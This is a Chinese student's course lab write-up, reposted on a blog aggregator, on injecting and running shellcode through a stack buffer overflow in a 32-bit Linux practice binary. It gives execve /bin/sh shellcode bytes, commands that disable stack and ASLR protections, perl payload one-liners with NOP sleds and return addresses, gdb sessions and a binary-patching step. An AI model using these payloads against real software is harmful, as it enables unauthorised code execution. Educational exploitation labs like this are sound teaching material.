zoukankan      html  css  js  c++  java
  • 20145320《网络对抗》注入Shellcode并执行

    20145320注入Shellcode并执行

    准备一段Shellcode

    首先先准备一段C语言代码:这段代码其实和我们的shell功能基本一样

    为了之后能够看到反汇编的结果,这次采用的静态编译。正常返回shell。

    经过一系列的工作我们可以得到这段注入的shellcode代码的反汇编结果(这些代码可以在网上下载,这里感谢一下许心远同学)
    x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

    准备工作

    修改些设置。

    root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
    root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
    X pwn1
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    2
    root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
    0
    
    • 在使用execstack命令时,需要先安装:apt-get install execstack!!!

    构造要注入的payload。

    Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode,nop+shellcode+retaddr。。因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    结构为:nops+shellcode+retaddr(嘻嘻)

    • nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。

    root@KaliYL:~/exercise1# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
    

    上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
    特别提醒:最后一个字符千万不能是x0a。x0a相当于回车键,若回车了下面的操作就做不了了。

    接下来我们来确定x4x3x2x1到底该填什么。

    打开一个终端注入这段攻击buf:

    root@KaliYL:~/exercise1# (cat input_shellcode;cat) | ./pwn2
    ������1�Ph//shh/bin��PS��1Ұ
    �

    再开另外一个终端,用gdb来调试pwn2这个进程。

    1.找到pwn2的进程号是:1743
    
    root@KaliYL:~/exercise1# ps -ef | grep pwn2
    root       1743   1577  0 16:25 pts/0    00:00:00 ./pwn2
    root       1745   1708  0 16:25 pts/1    00:00:00 grep pwn2
    

    2.启动gdb调试这个进程
    root@KaliYL:~/exercise1# gdb
    (gdb) attach 1743
    Attaching to process 1743
    
    3. 通过设置断点,来查看注入buf的内存地址
    (gdb) disassemble foo
    ....
    0x080484ad <+28>:    leave  
    0x080484ae <+29>:    ret    //断在这,这时注入的东西都大堆栈上了
                              //ret完,就跳到我们覆盖的retaddr那个地方了
    End of assembler dump.
    (gdb) break *0x080484ae
    Breakpoint 1 at 0x80484ae
    //在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
    (gdb) c
    Continuing.
    
    Breakpoint 1, 0x080484ae in foo ()
    (gdb) info r esp
    ...
    


    注意看这里和老师的不一样!

    (gdb) x/16x 0xffffd2fc //从这开始就是我们的Shellcode
    0xffffd2fc: 0x90909090  0xc0319090  0x2f2f6850  0x2f686873
    0xffffd30c: 0x896e6962  0x895350e3  0xb0d231e1  0x9080cd0b
    0xffffd31c: 0x01020304  0xf7fa0000  0xf7faa000  0x00000000
    0xffffd32c: 0xf7e135f7  0x00000001  0xffffd3c4  0xffffd3cc 
    (gdb) c
    Continuing.
    
    Program received signal SIGSEGV, Segmentation fault.
    0x01020304 in ?? ()       //这个返回地址占位也是对的
    	(gdb) quit
    
    
    4.将返回地址改为0xffffd300。
    root@KaliYL:~# perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
    

    做完上面这些的我感觉很开心!然后接着往下看!

    看到这一句:上面部分是坑,你跳了没!!

    干得好!....我于是回去在小标题旁边加了一个嘻嘻

    结构为:anything+retaddr+nops+shellcode。

    按照老师给的顺序盲目的做:

    root@KaliYL:~# perl -e 'print "A" x 32;print "x20xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
                   .........
    

    给大家一个信息,上面这段注入的代码时在我的电脑上是不可行..(累得我头皮发麻!!),在我的堆栈上面返回的地址并不是0xffffd320,而是0xffffd330(为什么?),需要把20d3改成30d3

    root@KaliYL:~# vi pwn2
    以下操作是在vi内
    1.按ESC键
    2.输入如下,将显示模式切换为16进制模式
    :%!xxd
    3.查找要修改的内容
    /20d3
    4.找到后前后的内容和反汇编的对比下,确认是地方是正确的
    5.修改20为30
    6.转换16进制为原格式
    :%!xxd -r
    7.存盘退出vi
    :wq
    

    但是以上实践是在非常简单的一个预设条件下完成的:

    (1)关闭堆栈保护(gcc -fno-stack-protector)

    (2)关闭堆栈执行保护(execstack -s)

    (3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)

    (4)在x32环境下

    (5)在Linux实践环境

  • 相关阅读:
    基于ffmpeg 直播推流和播放rtmp (IOS源码)
    Hadoop 安装指南
    机器学习算法( 七、AdaBoost元算法)
    机器学习算法( 五、Logistic回归算法)
    机器学习算法( 四、朴素贝叶斯算法)
    机器学习算法( 三、决策树)
    机器学习算法( 二、K
    Solr 多字段、打分规则、权重和实时索引同步
    Android Activity生命周期
    .net , java webSocket 连接 Socket.io (1.4.4版本) 问题
  • 原文地址:https://www.cnblogs.com/zqh20145320/p/6537433.html
Copyright © 2011-2022 走看看